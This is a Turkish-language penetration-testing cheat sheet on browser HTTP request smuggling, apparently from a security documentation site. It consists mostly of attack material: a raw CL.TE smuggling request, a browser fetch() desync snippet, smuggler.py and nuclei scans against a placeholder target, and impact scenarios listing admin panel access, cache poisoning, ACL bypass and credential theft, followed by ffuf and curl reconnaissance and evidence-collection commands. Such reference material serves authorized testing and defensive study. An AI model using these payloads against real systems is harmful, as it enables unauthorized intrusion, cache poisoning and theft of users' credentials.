Browser HTTP Request Smuggling
web smuggling
Browser HTTP Request Smuggling front-end ile back-end’in HTTP mesaj sınırlarını farklı yorumlamasından doğar. Desync ile istek kaçırma, cache poison ve ACL bypass denenir.
Metodoloji
Section titled “Metodoloji”-
Front-end/back-end parser farkını CL.TE/TE.CL ile test et.
-
Smuggler/nuclei ile desync sinyali yakala.
-
Poisoned request ile ACL/cache etkisini göster.
-
Tekrar üretilebilir PoC kaydet.
Desync tespiti
Section titled “Desync tespiti”python3 smuggler.py -u https://TARGETnuclei -u https://TARGET -tags smuggling -silentPOST / HTTP/1.1Host: TARGETContent-Type: application/x-www-form-urlencodedContent-Length: 6Transfer-Encoding: chunked
0
GBrowser-powered smuggling
Section titled “Browser-powered smuggling”<script>fetch('https://TARGET/',{method:'POST',body:'...',mode:'no-cors'})</script>tarayıcı H2/H1 farkı ile front-end desyncEtki senaryoları
Section titled “Etki senaryoları”admin paneli request smuggle, cache poison, bypass ACL, credential theftcurl -sk https://TARGET/admin -H 'Host: TARGET' -H 'X-Ignore: x'Operasyon notları
Section titled “Operasyon notları”Browser HTTP Request Smuggling sonuçları hedef sürüme ve yığına göre değişir. Her başarılı adımı request/response ile kaydet; sonraki pivot’u not et.
Ek komutlar
Section titled “Ek komutlar”curl -sk https://TARGET/robots.txtnuclei -u https://TARGET -as -silentffuf -u https://TARGET/FUZZ -w /usr/share/seclists/Discovery/Web-Content/common.txt -mc 200,204,301,302,403GET / HTTP/1.1Host: TARGETAccept: */*mkdir -p evidence/web && tee evidence/web/notes.txtBu ekler keşif ve kanıt paketini hızlandırır; asıl sömürü üstteki bölümlerdeki konu-özel payload’larla yapılır.
Ek keşif komutları
Section titled “Ek keşif komutları”curl -sk https://TARGET/robots.txtcurl -sk https://TARGET/sitemap.xmlffuf -u https://TARGET/FUZZ -w /usr/share/seclists/Discovery/Web-Content/common.txt -mc 200,204,301,302,403nuclei -u https://TARGET -as -silentGET / HTTP/1.1Host: TARGETAccept: */*Kanıt toplama
Section titled “Kanıt toplama”mkdir -p evidence/web && tee evidence/web/notes.txtrequest/responsezaman damgasıkullanılan hesapetki özeticurl -sk https://TARGET/ -D evidence/web/headers.txt -o evidence/web/body.html